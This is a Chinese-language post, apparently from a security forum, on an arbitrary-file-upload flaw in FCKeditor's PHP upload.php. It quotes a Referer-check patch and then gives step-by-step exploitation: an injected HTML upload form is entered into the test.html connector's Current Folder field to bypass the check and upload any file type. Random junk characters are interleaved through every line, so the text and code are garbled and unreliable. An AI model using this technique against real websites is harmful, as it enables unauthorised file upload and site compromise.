漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php/ q. Z7 p v8 |/ q+ S* r
网上给出的修复方案是
* e; { j4 }9 c! G6 A; W0 c& w修复方法,删除FCK编辑器用其他的编辑器
& g+ M4 e, M) p2 D4 u或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
( W. J- C- L2 H/ q; M" s在
, C2 s3 E9 J; E% y9 y$ z0 n" ?require(‘config.php’);- @5 T c. g0 A6 L3 s) X
require(‘util.php’);7 G* z" \& |" s( y1 n" B
的下面添加以下代码—————————–
# A: p/ v/ ~3 j' Y6 c% _/ a1 D% f//防止外部提交
8 W6 D- G9 [7 ?* Ufunction outsidepost()! k) ^& ?9 I; k, ?+ d- \6 W8 Q
{
+ v# x0 B. g+ F$servername=$_SERVER['SERVER_NAME'];
9 L' b" ^4 Y2 |! s$sub_from=@$_SERVER['HTTP_REFERER'];
+ h# o6 V, G# n2 s. p x1 H$sub_len=strlen($servername);( N8 L: ^: d. i2 Q7 o
$checkfrom=substr($sub_from,7,$sub_len);% P7 A3 S& x5 C3 Q0 M& w
if($checkfrom!=$servername){
+ k# I) T i+ s S! u& P8 J3 l1 mecho(“you don’t outsidepost!”);
2 t3 b4 L ?+ ]( D: T8 Kexit;: q& G$ t; l8 q: I
}3 D' L- z4 `* f0 `1 ?3 U2 l; ]& b
}5 ?& q/ ]5 W/ H9 G* N3 y3 z
outsidepost();
$ |9 z; H. @, {; l2 O A防止外部提交,但是没有防止内部提交,
6 e$ p/ ~; Y( H( V+ T利用方法:
# X) y+ g$ z I$ h& G, `; @. Y! `1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
1 E j' z+ w2 I+ P' o- G! d3 Z2,在Current Folder 框输入! P4 j" H) Q0 y4 N2 N( M( a$ J
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>1 |: @# [4 i/ f. E
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
7 S% S; r: G& U3 `# u0 j qPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |